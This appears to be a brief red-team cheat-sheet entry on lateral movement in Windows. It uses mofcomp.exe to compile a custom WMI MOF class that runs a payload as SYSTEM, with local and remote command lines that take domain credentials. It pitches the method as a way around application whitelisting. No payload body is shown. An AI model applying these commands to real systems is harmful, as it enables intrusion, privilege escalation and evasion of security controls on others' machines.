Lateral Movement


Create your own WMI CIM class. Compile with MOFCOMP.exe. Needs local admin. Good for when you have app whitelisting or can’t write to disk or transfer via SMB and need SYSTEM.

Managed Object Format (MOF) - Win32 apps

mofcomp.exe -B: payload.bin.mof payload.mof

mofcomp.exe payload.mof

Or remotely:

mofcomp.exe -N:\\<COMPUTER>\<NAMESPACE> -A:NTLMDOMAIN:<DOMAIN> - U:<USERNAME> -P:<PASSWORD> payload.mof

Can use anything that can be converted to jscript

Offensive WMI - The Basics (Part 1)

https://www.youtube.com/watch?v=4BuvhUnKlHk